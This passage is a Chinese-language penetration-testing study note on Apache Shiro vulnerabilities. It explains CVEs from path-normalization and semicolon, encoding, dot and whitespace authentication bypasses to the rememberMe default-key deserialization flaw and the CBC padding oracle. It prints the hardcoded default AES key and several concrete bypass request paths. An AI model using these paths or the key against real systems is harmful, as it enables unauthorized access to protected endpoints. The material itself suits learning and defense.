# 常规外网打点-PART2

# shiro

本节参考文章:Shiro(全系漏洞分析-截至20230331) - FreeBuf网络安全行业门户

Apache shiro是一个Java安全框架,主要用于处理网站或应用系统中的身份验证、权限控制、会话管理、加密与哈希、Remember Me。是Java Web应用中常见的认证与授权组件

# shiro的核心结构

# subject

subject表示当前访问系统的用户或程序,例如:

Subject subject = SecurityUtils.getSubject();

可以通过它执行:

# 登录
subject.login(token);
# 退出登录
subject.logout();
# 是否已经认证
subject.isAuthenticated();
# 是否具有某个角色
subject.hasRole("admin");
# 是否具有某项权限
subject.isPermitted("user:add");

# SecurityManager

SecurityManager是shiro的核心管理器,负责统一协调登录认证,权限判断,会话管理,Remember Me,Realm调用。这里的SecurityManager不是Java以前的安全管理器,而是shiro自己的安全管理核心

# Realm

Realm负责连接真实的数据源,例如系统需要验证用户的账号密码时,Realm会去查询MySQL数据库,Redis,LDAP,Active Directory,配置文件,其他用户中心

# shiro认证流程

对于一个正常提交登录的流程:

username=admin
password=password

程序首先会创建一个认证token:

UsernamePasswordToken token = new UsernamePasswordToken(username,password);

然后调用:

Subject subject = SecurityUtils.getSubject();
subject.login(token);

之后shiro会调用Realm:

protected AuthenticationInfo doGetAuthenticationInfo(
        AuthenticationToken token) {
    
    String username = (String) token.getPrincipal();

    // 从数据库查询用户
    User user = userService.findByUsername(username);

    return new SimpleAuthenticationInfo(
        user.getUsername(),
        user.getPassword(),
        getName()
    );
}

最后shiro使用配置的密码比较方式,判断用户输入的密码是否正确

# Shiro Filter过滤器

在web应用中,Shiro通常通过过滤器控制哪些路径需要登录,例如:

/login = anon
/static/** = anon
/admin/** = roles[admin]
/user/delete = perms[user:delete]
/** = authc

常见过滤规则:

anon:无需登录即可访问
authc:必须登录
user:已登录或通过Remember Me识别
roles[admin]:必须具有admin角色
perms[user:add]:必须具有指定权限
logout:退出登录

如果过滤器配置不正确可能产生未授权访问,后台接口绕过,越权访问,静态资源或敏感接口暴露

# shiro的Remember Me

当用户勾选“记住我”时,shiro会把用户身份信息处理后存入Cookie,常见Cookie名称是rememberMe,大致流程是将用户身份对象序列化之后加密,再进行base64编码写入rememberMe Cookie,服务器收到Cookie之后读取rememberMe,进行base64解码并反序列化从而恢复用户身份

一些shiro版本或错误配置使用了固定或泄露的加密秘钥。攻击者如果能够构造加密后的恶意序列化数据,服务器在反序列化时就可能出现安全问题

# CVE-2010-3863 路径规范化导致的认证绕过

shiro路径规范化导致的认证绕过,shiro<1.1.0,JSecurity 0.9.x

该漏洞的核心是Shiro在根据shiro.ini的URL规则检查权限之前,没有先把请求包URI转化为规范路径,导致shiro与Servlet容器可能把同一个请求理解成两个不同的路径,攻击者可以借此绕过原本配置的访问限制

路径规范化:指去除...,重复分隔符等特殊表达后,得到统一形式的路径

/account/index.jsp
/./account/index.jsp
/public/../account/index.jsp

其中.表示当前目录,..表示上级目录,那么经过路径规范化之后

/./account/index.jsp -> /account/index.jsp

从操作系统或Servlet容器最终访问资源的角度看,这两个地址可能指向同一个资源/account/index.jsp

规范化路径也可以叫Path NormalizationURI NormalizationCanonicalization

假设shiro.ini配置为:

[urls]
/login.jsp = anon
/account/** = authc
/** = anon

这表示/login.jsp可以匿名访问,/account/**必须登录,其他地址可以匿名访问

正常访问GET /account/index.jsp HTTP/1.1,于是用/account/index.jsp去匹配规则,与之匹配的对象是/account/**,所以如果用户没有登录就会被拦截并跳转到登录页面

如果存在这样一个路径:/./account/index.jsp,这个路径中的/./实际上仍表示当前目录,因此Servlet容器最终可能将它当成/account/index.jsp,但是存在漏洞的旧版Shiro没有先将他规范化,而是是直接使用类似/./account/index.jsp的路径去进行过滤规则匹配,那么其匹配的就不再是/account/**了,而是/** = anon,于是shiro认为该请求可以匿名访问,但当请求进入Servlet容器后,容器可能对路径进行规范化,最后容器仍然访问受保护的界面/account/index.jsp

# CVE-2014-0074 LDAP认证绕过漏洞

Apache shiro 1.x < 1.2.3,还需满足应用使用Shiro LDAP Realm,LDAP服务器允许unauthenticated bind,登录入口允许提交空用户名或空密码

攻击者可能通过空用户名或空密码,使LDAP连接成功建立,进而被旧版Shiro错误地认定为账号密码校验成功

# LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议):一种用于查询和管理目录服务中信息的网络协议

目录服务:LDAP中的目录与普通文件夹不同,它更像一个按照树状结构组织的数据库,例如某个公司的LDAP目录可能是:

dc=zlaryy,dc=top
├── ou=People
│   ├── uid=ZLARYY
│   └── uid=susu
└── ou=Groups
    ├── cn=admins
    └── cn=developers

其中:

dc:Domain Component,域名组成部分

ou:Organizational Unit,组织单位

uid:用户标识

cn:Common Name,通用名称

uid=ZLARYY,ou=People,dc=zlaryy,dc=top

表示zlaryy.top组织中,People部门下的用户ZLARYY,这一整串称为DN

  • DN:Distinguished Name,DN是一个对象在LDAP目录中的完整路径,类似于文件系统中的绝对路径

  • RDN:Relative Distinguished Name,RDN是DN中当前节点的名称,uid=ZLARYY,ou=People,dc=zlaryy,dc=top的RDN是uid=ZLARYY

  • Enrtry:条目,LDAP中的每一个用户、部门、组成设备都是一个条目,例如一个用户条目:

    dn: uid=zhangsan,ou=People,dc=example,dc=com
    objectClass: inetOrgPerson
    uid: zhangsan
    cn: Zhang San
    sn: Zhang
    mail: zhangsan@example.com
  • Attribute:属性,每个条目由多个属性组成,例如:

    uid: zhangsan
    mail: zhangsan@example.com
    telephoneNumber: 1**********
  • objectClass:对象类型,objectClass决定一个条目可以拥有哪些属性

LDAP的登录认证流程:假设用户在网站输入:

用户名:ZLARYY
密码:123456

系统通常会先使用一个LDAP管理账号连接服务器,并搜索用户(uid=ZLARYY),找到对应DN:uid=ZLARYY,ou=People,dc=zlaryy,dc=top,接下来系统使用用户的DN和密码执行LDAP Bind

DN: uid=ZLARYY,ou=People,dc=zlaryy,dc=top
Password: 123456

如果Bind成功,说明密码正确,如果Bind失败,说明用户不存在、密码错误、用户被禁用或DN配置错误。因此LDAP登录的核心通常不是把密码查出来比较,而是使用用户提供的密码尝试绑定LDAP服务器

LDAP的常见操作

操作 作用
Bind 登录、身份认证
Search 查询条目
Add 添加条目
Modify 修改条目
Delete 删除条目
Compare 比较属性值
Unbind 断开连接

LDAP查询过滤器

  • 查询用户名为ZLARYY的用户:

    (uid=ZLARYY)
  • 查询姓为su的用户:

    (sn=su)
  • 同时满足两个条件:

    (&(uid=ZLARYY)(objectClass=inetOrgPerson))
  • 满足任意一个条件:

    (|(uid=ZLARYY)(uid=susu))
  • 排除某个条件:

    (!(uid=ZLA*))

其中:

&:逻辑与
|:逻辑或
!:逻辑非
*:通配符

在Windows域环境中,经常会遇到Active Directory(AD),LDAP是协议,AD是支持LDAP协议的一种目录服务产品,类似于http协议,nginx是实现http服务的软件

AD不仅支持LDAP,还包含Kerberos身份认证,DNS,域用户管理,域计算机管理,组策略,权限控制,LDAP通常用于从AD中查询用户,组,部门,邮箱,计算机,组成员关系,AD中经常使用:

sAMAccountName
userPrincipalName
memberOf

LDAP使用的常见端口是389(LDAP),636(LDAPS)

其中LDAP是普通的LDAP连接,LDAPS是LDAPS over TLS了,加密连接

此外389端口上的LDAP也可以使用StartTLS升级为加密连接

后续可以试试了解LDAP注入、匿名绑定、弱密码和默认密码、未加密传输

# LDAP Bind

Shiro使用LDAP验证用户时,不一定自己查询密码再比较,而是尝试使用用户提交的身份和密码执行LDAP Bind,这在之前写LDAP时提到过,对于正常的登录认证流程存在一个问题:LDAP Bind成功,并不一定代表用户名和密码已经通过认证

LDAP Simple Bind的三种情况

  1. 匿名Bind:

    DN: 空
    Pssword: 空

    name.length = 0password.length = 0,这种连接进入的是匿名授权状态,不代表任何用户通过认证

  2. 未认证Bind(Unauthenticated Bind):

    DN: 非空
    Password: 空

    按照LDAP的标准,这种请求并不是在验证DN中uid的密码,实际上表达的是提供一个名字,但不提供密码,以匿名身份连接,这个非空DN只应用于日志或追踪,服务器不应该将它当作已验证身份,也不应该用它进行授权

  3. 正常用户名密码Bind:

    DN: 非空
    Password: 非空

    只有这种情况下LDAP才会真正查找用户并比较密码,或者将正常名称密码认证称作“非零长度名称加非零长度密码”

# 漏洞原理

假设提交了一个未认证Bind,经过DN转换后,可能得到:

uid=admin,ou=people,dc=example,dc=com

接着旧版Shiro向LDAP发起:

DN:uid=admin,ou=people,dc=example,dc=com
Password:空

LDAP服务器如果允许Unauthenticated Bind,可能返回Bind success,但他表达的是匿名连接建立成功而不是admin密码验证成功,但旧版Shiro却错误的理解为后者

# CVE-2016-4437 Apache Shiro RememberMe默认密钥反序列化

CVE-2016-4437也常被称为:Shiro-550,Shiro RememberMe反序列化,Shiro默认密钥漏洞,Shiro 1.2.4 反序列化RCE,影响范围为shiro < 1.2.5

该漏洞的核心在于旧版Shiro使用一个公开、固定的AES密钥加密RemembernMe Cookie,同时会对Cookie解密后的内容执行Java反序列化,如果知道密钥,就可以伪造能够被服务器正确解密的数据,如果服务器中还存在可利用的Java反序列化调用链,就可能进一步造成任意代码执行

Shiro的RememberMe功能用于在用户关闭浏览器或session失效之后,仍然能识别用户身份。例如用户登录时勾选rememberme,登陆成功之后,shiro会将身份信息保存到Cookie中,这里保存的通常不是密码,而是PrincipalCollection,也就是身份主体集合,里面可能包含用户名,用户ID,Realm名称,其他身份信息

旧版Shiro的处理流程大致是:将PrincipalCollection进行Java序列化,然后进行AES加密和base64编码,最后将生成的字符串写入rememberMe Cookie;浏览器后续访问就是将过程反过来;先读取rememberMe Cookie,然后对该字符串进行base64解码和AES解密以及Java反序列化,从而修复PrincipalCollection建立RememberMe身份

# 漏洞中的AES密钥

AES是对称加密:即加密密钥 = 解密密钥,理论上只要密钥安全保密,就无法构造出服务器能够正确解密的Cookie。

但是在Shiro 1.2.4及更早版本的源码中,默认密钥是被直接写在程序里的:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
    Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

构造AbstractRememberMeManager时,又会直接使用它:

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

这意味着不同网站使用旧版Shiro默认配置可能导致全部使用同一个密钥

那么严重的就是通过构造一个经过设计的Java序列化对象,使用Shiro默认密钥进行AES加密并base64编码,作为rememberMe Cookie发送,就会造成Java反序列化漏洞,可能执行危险代码

同时,并不是所有旧版Shiro都一定能RCE,还需要满足几个条件:

  • RememberMeManager会处理Cookie:旧版默认配置通常使用CookiRememberMeManager,它会读取并处理rememberMe Cookie。

  • 使用默认密钥或其他已知密钥

  • 类路径中存在可利用调用链:反序列化代码执行通常依赖服务器已经加载的第三方类,例如:

    Commons Collection
    Commons BeanUtils
    Groovy
    Spring
    C3P0
    其他带危险调用逻辑的依赖

    所以准确判断需要结合:

    pom.xml
    WEB-INF/lib
    实际依赖版本
    JDK版本
    类加载环境
    反序列化过滤策略

    没有合适的调用链时可能只能造成异常、拒绝服务、身份数据伪造、信息泄露或者无法形成完整利用

# CVE-2016-6802 Shiro非根Context Path过滤器绕过

受影响版本:Apache Shiro 1.3.1及之前版本,使用条件:应用部署在非根Context Path,使用URL过滤器链保护资源,Servlet容器接受特殊路径,Shiro和容器的路径规范化规则不同

该漏洞是Apache Shiro的URL过滤器链匹配漏洞,当Apache Shiro应用部署在“非根Context Path”下时,Shiro对请求路径进行规范化和截取时存在逻辑缺陷,可以构造带有路径穿越特征的URL,使Shiro计算出的“应用内路径”与Servlet容器最终访问的真实资源路径不一致,从而绕过原本应执行的认证或授权过滤器

# Context Path

假设部署了一个Java Web应用http://zlaryy.top/myapp/admin/index

这里的不分可以理解为:

协议:http
主机:zlaryy.top
Context Path:/myapp
应用内路径:/admin/index

Shiro的过滤器配置通常匹配的是“应用内路径”而不是完整URL

# 根Context Path与非根Context Path

  • 根Context Path:应用直接部署在根目录:http://zlaryy.top/admin/index,那么Context Path = ""或者某些环境中表现为/,这种情况叫做根Context

  • 非根Context Path:如同Context Path中的例子那样,Context Path = /myapp,这就是非根ContextPath,常见场景包括:

    # WAR包部署
    myapp.war部署到Tomcat后,通常访问地址为http://localhost:8080/myapp/
    对应Context Path = /myapp
    # Spring Boot配置
    server.servlet.context-path=/myapp
    或者旧版server.context-path=/myapp

正常请求/myapp/admin/index,Servlet容器会告诉Shiro:

requestURI = /myapp/admin/index
contextPath = /myapp

Shiro需要计算应用内部路径:应用内部路径 = requestURI - contextPath

然后Shiro使用/admin/index去匹配过滤器链,假设ini配置文件:

[urls]
/login = anon
/admin/** = authc, roles[admin]
/** = anon

那么/admin/index实际上匹配的是/admin/** = authc,于是要求用户先登录

# 漏洞核心

问题出在旧版本Shiro计算路径时,对requestURIcontextPath的值处理不一致,Shiro会对请求URI进行URL解码,路径规范化,处理...,清理不分特殊字符

但是Shiro经过这些处理之后,它仍然假设规范化后的requestURI仍然以contextPath开头,然后直接按照contextPath.length()截断

简化后的旧逻辑可以理解为:

String requestUri = normalize(request.getRequestURI());
String contextPath = request.getContextPath();

String pathWithinApplication =
        requestUri.substring(contextPath.length());

如果通过构造路径,使得规范化后的URI不再以Context Path开头,此时Shiro仍然盲目截断固定长度就会得到一个错误路径

假设应用部署在/myapp,构造了一个带路径穿越语义的URI/myapp/../admin/index,Servlet容器可能已经识别contextPath = /myapp,但Shiro对于完整请求URI规范化后可能得到/admin/index,也就是说:

# 原始URI
/myapp/../admin/index
# 规范化后
/admin/index

但Shiro手里仍有contextPath = /myapp,旧逻辑继续执行requestUri.substring(context.length())(不同的计算对于/myapp长度可能是6也可能是7),于是Shiro可能从/admin/index错误地截断前面的一部分得到index或者n/index,于是就无法匹配/admin/** = authc了,可能匹配/** = anon,但Servlet容器最终仍然把请求转发给/admin/index,于是后台接口被未授权访问

如果是根Context Path的话那么requestUri.substring(0),结果仍然是完整路径,不会因为错误减去Context Path长度而破坏路径,因此相较于根Context Path,非根Context Path更容易错误截断

# CVE-2019-12422 rememberMe Cookie的CBC填充预言机漏洞

CVE-2019-12422,或称Shiro-721,影响范围为Shiro < 1.4.2

该漏洞是Apache Shiro 1.4.2之前默认rememberMe Cookie加密方案中的AES-CBC Padding Oracle漏洞,由于Cookie只加密不认证,那么就可以通过篡改密文,并利用服务端对合法和非法Padding的不同反馈,在不知道密钥的情况下逐字节恢复或伪造Cookie内容

在之前的漏洞学习中我们已经了解了关于rememberMe Cookie的创建流程:将PrincipalCollection进行Java序列化,AES加密和base64编码。服务端接受到后反过来先进行base64解码,AES解密,去除Padding,Java反序列化,恢复用户身份

而这个漏洞的问题发生在AES-CBC解密和Padding校验,在Apache Shiro 1.4.2之前,默认使用类似AES/CBC/PKCS5Padding,Java里虽然名字叫做PKCS5Padding,但AES分组长度是16字节,实际行为相当于PKCS#7风格填充,AES-CBC本身只提供保密性而不提供完整性和真实性,也就是说虽然不知道密钥但是可以修改密文,而服务端不会在解密之前知道密文被修改

# AES/CBC/PKCS5Padding

这串配置可以分成三个部分:

AES:算法
CBC:模式
PKCS5Padding:填充方式

其中AES是分组加密算法,AES不是一次处理任意长度的数据,而是每次固定处理16字节(128bit),AES的分组长度始终是16字节,与使用AES-128,AES-192还是AES-256无关

例如1234567890abcdef刚好为16字节,AES可以直接处理,但是HELLO只有5字节不足16字节,就必须补齐,这就是Padding

Padding填充:还是以HELLO为例,它占5字节,还缺11字节,按照PKCS#7的风格填充,缺11字节就添加11个0B,因为十六进制的0B就是十进制的11,最终变成

48 45 4C 4C 4F 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B
H  E  L  L  O

解密之后程序查看最后一个字节为0B,于是就会删除最后11个字节,并检查这11个字节是否全部为0B

如果明文刚好为16字节,也会添加完整的16字节:

10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10

这里的0x10就是十进制的16

  • PKCS#5:最初针对8字节分组
  • PKCS#7:可以适用于更大的分组长度

AES的分组长度为16字节,因此对于AES来说,根据分组大小填充N个值为N的字节实际上属于PKCS#7的风格,但是Java/JCE中一直把转换名称写成Cipher.getInstance("AES/CBC/PKCS5Padding")。所以虽然Java API名字叫做PKCS5Padding,但应用到16字节分组的AES时,具体填充行为就是PKCS#7风格

CBC:Cipher Block Chaining,密码分组链接模式。假设明文被分成多个16字节分组:

P1 | P2 | P3
加密后得到:
C1 | C2 | C3

CBC加密公式为:

C1 = AES加密(P1 XOR IV)
C2 = AES加密(P2 XOR C1)
C3 = AES加密(P3 XOR C2)

其中IV为初始化向量,相当于第0个密文块,解密公式为:

P1 = AES解密(C1) XOR IV
P2 = AES解密(C2) XOR C1
P3 = AES解密(C3) XOR C2

其中P2 = AES解密(C2) XOR C1意味着即使不知道AES密钥,只要修改前一个密文块C1,就能够影响解密后的下一块明文P2

所以AES-CBC可以隐藏内容但不能单独证明内容没有被修改

Padding校验:在服务端接受到rememberMe Cookie并进行base64解码之后,实际上在反序列化之前会进行AES-CBC解密,检查Padding是否正确然后删除Padding。如果解密后的最后几个字节为4个04,表示填充4字节,属于合法Padding,但如果是04 04 03 04最后一个字节表示应该有4个04,但实际不符合,因此Padding非法,通常会表现为BadPaddingException

# Padding-Oracle

Padding校验本身是正常行为,但我们可以通过服务器响应判断自己构造的密文解密后Padding是正确的还是错误的

例如我们可以发送两个Cookie,请求A的结果服务器返回Cookie 解密失败,而请求B服务器返回内容、状态、Cookie、响应长度或处理时间不同:Padding 通过,但后续对象处理失败,虽然服务器没有告诉解密后的明文是什么,但它实际上回答了这次构造的Padding是否正确,这个“是或否”的反馈就叫做Oracle。那么就可以不断修改一个字节,枚举00 01 02 03 ... FE FF观察哪一个值能够让Padding合法,每次响应只泄露极少的信息但通过大量请求就可以逐字节推算CBC解密过程中的中间值,进而解密已有Cookie内容,构造服务器能够正常解密的密文,在不知道AES密钥情况下加密选择的数据

假设CBC最后一个明文块的解密过程为:

P2 = D(C2) XOR C1

定义I2 = D(C2),那么P2 = I2 XOR C1,我们不知道密钥,I2P2,但我们可以通过修改C1得到:

P2' = I2 XOR C1'

这样如果我们希望最后一个字节变成合法的01,就可以不断修改C1'的最后一个字节并询问服务器这样的Padding是否合法,当服务器返回合法时就可以根据:

P2'最后一字节 = I2最后一字节 XOR C1'最后一字节 = 01

推算出I2的最后一个字节,有了中间值之后也就能推算原始明文字节或者构造想要的明文字节。接下来再让末尾变成02 02推算倒数第二个字节......以此类推,最终可以恢复或控制整个16字节分组

但仅出现deleteMe不一定构成Oracle

这种方式不属于暴力破解AES密钥而是利用解密端反馈进行选择密文攻击,服务器解密之后会执行ObjectInputStream.readObject(),如果能够构造合法的加密Cookie,且目标依赖中存在可利用的Gadget Chain,就可能形成RCE

# CVE-2020-1957 URL过滤器链绕过漏洞

CVE-2020-1957,或称Shiro-682,影响范围为Shiro < 1.5.2

在Apache Shiro 1.5.2之前,当Shiro与Spring Web框架配合使用时,可以通过构造特殊URL,使Shiro判断请求不属于保护路径,但Spring MVC最终却把请求路由到受保护的Controller,从而绕过认证或授权,即Shiro看到的路径不等于Spring MVC最终执行的路径,于是Shiro没有匹配到authc/roles/perms,但Spring MVC仍然进入了敏感接口

假设ini配置文件内容:

/login = anon
/resources/menus = authc
/** = anon

当请求/resources/menus/,与/resources/menus相比只多了一个/,在相关Spring Web环境中,这两种写法可能被路由到同一个Controller,但旧版Shiro的路径模式/resources/menus不能匹配/resources/menus/。即Spring中的两种请求都能访问资源,而Shiro的pathPattern只能匹配不带末尾斜杠的形式。

于是Shiro认为/resources/menus/匹配/** = anon,而Spring认为/resources/menus/仍是menus接口

# CVE-2020-11989

CVE-2020-11989,或称Shiro-782,影响范围为Shiro < 1.5.3

CVE-2020-11989主要有两种触发形式:

  1. Context Path中的分号;导致路径截断
  2. URL双重编码导致Shiro二次解码

两种形式虽然表现不同但根因相同:Shiro 1.5.2自己重新拼接、解码和清理请求路径导致它得到的路径与Servlet容器、Spring MVC得到的路径不一致

# Java Web中的四种路径

假设存在应用地址为http://zlaryy.top:8080/test/admin/page,其中Context Path: /test,应用内路径/admin/page,Servlet API中常见的几个值是:

request.getRequestURI()
request.getContextPath()
request.getServletPath()
request.getPathInfo()
requestURI表示整个请求路径,即/test/admin/page
contextPath表示当前Web应用的部署路径,即/test
servletPath + pathInfo表示应用内部真正交给Servlet的路径,即/admin/page

Shiro真正要匹配的通常是/admin/page而不是/test/admin/**

在Servlet URL中,分号;可以表示Path Parameter路径参数,也称作Martix Parameter矩阵参数,最常见形式为/index;jsessionid=ZLARYY或者/user;lang=zh/profile,分号内容不一定属于普通路径名,它可能只是某个路径段附带的参数

Spring的UrlPathHelper提供了专门删除分号内容的逻辑,并且传统配置下removeSemicolonContent默认为true,也就是说,Spring在计算Controller路径时会对分号内容进行特殊处理

在Shiro 1.5.2中相关逻辑可以抽象为:

String uri =
    contextPath
    + "/"
    + servletPath
    + pathInfo;

uri = decode(uri);
uri = cleanSemicolon(uri);
uri = normalize(uri);

其中清理分号的逻辑大致是:

int index = uri.indexOf(';');

if (index != -1) {
    uri = uri.substring(0, index);
}

也就是说找到第一个分号以后,从分号开始到整个URI末尾全部删除,例如/a;param/b/c会被Shiro截断为/a

# 分号绕过

代表性请求形式为/;/test/admin/page,其中/test是应用的Context Path,在特定的Tomcat和Spring配置下,Servlet容器仍能识别:

目标应用:/test
应用内路径:/admin/page

但是Shiro 1.5.2自己拼接请求路径时,得到的内容可能类似/;/test//admin/page,接着进入分号清理逻辑截断全部后续内容,最终只剩下/,结果就是该请求经过Shiro的getPathWithinApplication后被识别成了/

这就导致了Shiro原本应该匹配/admin/** = authc,但实际用于匹配的路径变成了/,于是匹配了/** = anon无需登录

该请求通过Shiro后继续交给Spring MVC,Spring MVC不使用Shiro错误计算出的/,而是按照Servlet映射和自己的UrlPathHelper逻辑计算Controller路径,Spring最终会得到/admin/page,实现认证绕过

对于/account;lang=zh/detail请求,可以解释为:

Shiro:
/account

Spring:
/account/detail

Shiro 1.5.2把Context Path、Servlet Path和Path Info重新拼接后,再从第一个分号处截断,我们通过把分号放在Context Path相关位置,使Shiro最终只看到/,而Spring仍根据Servlet映射得到真实的/admin/page

# 双重编码绕过

通配符 说明
? 匹配任何单字符
* 匹配0或者任意数量的字符
** 匹配0或者更多的目录

例如/admin/*可以匹配/admin/a但是不能跨目录,而/admin/**可以匹配/admin/a也可以匹配/admin/a/b,当配置/admin/*需要认证才能访问,而访问的URI为/admin/aa/bb能进行绕过,因为/admin/*无法跨目录

假设Shiro配置:

map.put("/hello/*","authc");

Spring Controller:

@GetMapping("/hello/{name}")
public String hello(@PathVariable String name){
    return "hello";
}

/的URL编码为%2f%的URL编码为%25,因此对%2f二次编码可得到类似%252f,其等价写法为%25%32%66,第一次解码为%2f,第二次解码为/

假设请求/hello/zla%25%32%66ryy,Servlet容器进行一次解码后,Spring得到的路径参数类似/hello/zla%2fryy,对于Spring来说,%2f仍可能作为{name}中的内容存在,因此仍能进入@GetMapping("/hello/{name}")

而Shiro 1.5.2又调用decodeRequestString()进行二次解码得到/hello/zla/ryy,这与配置中的/hello/*不符,所以可能没有执行authc

# CVE-2020-13933

1.6.0之前的Apache Shiro,当使用Apache Shiro时,特制的HTTP请求可能导致认证绕过,Shiro < 1.6.0

该漏洞还是利用SpringWeb和Shiro处理方式的差异绕过

在Shiro中,先解码后处理分号再标准化路径,在SpringWeb中先处理分号再解码再标准化路径

我们将;编码为%3b,在Shiro中他会先解码为分号然后截取分号前的内容,在SpringWeb中,首先它找不到分号,因为被编码了,相当于它不会处理分红啊然后才将分号解码,所以我们可以使用;去绕过一些需要认证的路径,只要它截取的分号前内容设置了anon就行

/admin/*需要认证才能访问,我们就可以通过/admin/%3bxx绕过,在Shiro中会先解码然后截取分号前dee内容,即/admin/,这里就绕过了Shiro的过滤器,在后续的SpringWeb处理中就会被处理为/admin/;xx成功访问到Controller

# CVE-2020-17510

适用范围为Shiro < 1.7.0

该漏洞同样是SpringWeb和Shiro的处理差异造成的,这一次是因为.造成的绕过,其编码为%2e,在Shiro中,它会先解码成.,不需要处理分号然后标准化路径将/.规范化为/,在Spring Web中,首先无需处理分号,然后将%2e解码为.getSanitizedPath不执行dot-segment规范化,所以保留.getSanitizedPath主要用于处理一些路径格式问题,比如连续斜杠,路径格式清理和某些重复分隔符

假设Shiro配置map.put("/hello/*","authc");

Spring Controller:

@GetMapping("/hello/{name}")
public String hello(@PathVariable String name){
    return "hello";
}

请求/hello/%2e,在Shiro中处理成/hello/,在Spring中,处理成/hello/.,成功匹配到了/hello/{name}

# CVE-2020-17523

适用范围为Shiro < 1.7.1

这一次是通过空格编码进行的绕过

假设Shiro配置:

Map<String, String> map = new LinkedHashMap<>();

map.put("/login", "anon");
map.put("/hello/*", "authc");
map.put("/**", "anon");

Spring Controller:

@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
    return "hello, name=[" + name + "]";
}

我们请求/hello/%20,其中%20为空格的URL编码

在Shiro的处理中,/hello/%20会变成/hello/ ,然后末尾的空格符会被trim掉,最终Shiro认为路径只有/hello,所以匹配规则为/** = anon,而Spring Controller不会对空格符trim去空,而是将其视作一个真实路径段,所以他最后处理路径为/hello/

# CVE-2021-41303

CVE-2021-41303,或称Shiro-825,影响范围为Shiro < 1.8.0

假设Shiro配置如下:

filterChainDefinitionMap.put("/admin/*", "authc");
filterChainDefinitionMap.put("/admin/list", "anon");

Shiro的过滤器链通常是按照配置顺序,第一个匹配到的规则生效,所以正常情况下/admin/list应该优先匹配/admin/*要求authc,需要认证

请求/admin/list/,在第一轮请求中,Shiro先用原始URI/admin/list/去匹配规则/admin/*没有匹配成功,于是Shiro的兼容逻辑会判断:

if (requestURI.endsWith("/")) {
    requestURI = requestURI.substring(0, requestURI.length() - 1);
}

所以/admin/list/会被处理成/admin/list然后重新使用/admin/*进行匹配,但是,这一轮重新匹配成功国际欧,Shiro传给FilterChainManager.proxy()的参数错误,本来应该传入pathPattern也就是/admin/*,但是实际上成功传入的是requestURI,也就是/admin/list,而在Shiro配置中,正好存在/admin/list = anon,所以FilterChainManager使用/admin/list作为chainName查找过滤器链时会找到anon,而不是本应执行的authc从而绕过认证

即该漏洞,当请求URI以/结尾时,Shiro会先使用原始URI与过滤器链规则进行匹配,如果匹配失败,则移除末尾斜杠后再次匹配,但第二次匹配成功之后,Shiro错误地将去掉尾斜杠后的请求URI作为过滤器链名称传给FilterChainManager.proxy(),而不是传入真正匹配到的规则pathPattern

# CVE-2022-32532

影响范围Shiro < 1.9.1

在Apache Shiro1.9.1之前,RegexRequestMatcher在某些Servlet容器中可能因错误配置而被绕过,使用RegExPatternMatcher且正则表达式包含.的应用可能受到授权绕过影响

# RegExPatternMatcher

Shiro中常见的路径匹配器有两种:AntPathMatcherRegExPatternMatcher

Ant风格

/admin/**
/user/*

正则风格

/admin/.*
/user/[0-9]+

RegExPatternMatcher底层使用Java的java.util.regex.Pattern

正则表达式中的.为元字符,通常表示匹配任意一个字符,例如/admin/.*通常会匹配/admin/a/admin/list/admin/user/ZLARYY。这里的.*表示任意字符重复0次或多次,但Java中有一个默认行为:.默认不匹配行终止符。即/admin/.*不会匹配/admin/a\nb

# 漏洞示例

假设应用将Shiro的路径匹配器修改为RegExPatternMatcher,安全规则为/permit/.* = authc

Controller:

@GetMapping("/permit/{name}")
public String permit(@PathVariable String name) {
    return "secret data";
}

正常情况下请求/permit/admin会执行authc,未登录用户会被拦截,但如果请求/permit/a%0ab,Servlet容器或Web框架处理之后Shiro可能得到/permit/a\n/b,于是

Pattern.compile("/permit/.*")
       .matcher("/permit/a\nb")
       .matches();

为false,Shiro认为该请求不属于/permit/.*于是本应执行的authc没有执行

但后端Servlet容器或Spring MVC的路由逻辑不一定使用完全相同的Java正则,某些容器及框架组合仍肯呢个将/permit/a\n/b视为/permit/{name},从而实现绕过

# CVE-2022-40664

影响范围Shiro < 1.10.0

Apache Shiro 1.10.0之前,在通过RequestDispatcher进行forward或include时,可能发生身份认证绕过

# RequestDispatcher

Servlet中的RequestDispatcher用来在服务器内部把请求交给另一个资源,常用方法有两个:

forward(request,response)
include(request,response)
  • forward:forward会把当前请求交给另一个Servlet、Controller、JSP或资源继续处理,例如:

    request.getRequestDispatcher("/admin/secret")
           .forward(request, response);

    流程是客户端请求/public/forward,服务器内部转发,实际执行/admin/secret。但这并不属于浏览器重定向,浏览器地址栏通常不会重新发起一个新的HTTP请求

  • include:include会把另一个资源的输出包含进当前响应,例如:

    request.getRequestDispatcher("/admin/report")
           .include(request, response);

    流程为当前接口处理之后内部调用/admin/report,把/admin/report的输出拼接进当前响应

一次外部HTTP请求内部可能经过多次dispatch,Servlet中常见的DispatcherType包括:

DispatcherType.REQUEST
DispatcherType.FORWARD
DispatcherType.INCLUDE
DispatcherType.ERROR
DispatcherType.ASYNC

例如GET /public/forward第一次进入Shiro时类型为REQUEST,内部调用forward("/admin/secret")之后第二次进入过滤器类型是FORWARD,虽然是两次过滤器调用但底层可能仍然是同一个HttpServletRequest对象

# OncePerRequestFilter

Shiro中的核心Web过滤器继承自类似OncePerRequestFilter,这个类的设计目标是避免同一个request被同一个过滤器重复处理,它会在request上设置一个属性例如概念上:

request.setAttribute(
    "shiroFilter.FILTERED",
    Boolean.TRUE
);

后续如果发现这个属性已经存在就认为Shiro已经执行过了,于是直接filterChain.doFilter(request,response),不再执行Shiro的认证逻辑

# 漏洞示例

假设Shiro配置:

Map<String, String> filterMap = new LinkedHashMap<>();

filterMap.put("/public/forward", "anon");
filterMap.put("/admin/**", "authc");
filterMap.put("/**", "anon");

后台敏感接口:

@GetMapping("/admin/secret")
public String secret() {
    return "ZLARYY{admin_flag_here}";
}

公开转发接口:

@GetMapping("/public/forward")
public void forward(
        HttpServletRequest request,
        HttpServletResponse response
) throws Exception {

    request.getRequestDispatcher("/admin/secret")
           .forward(request, response);
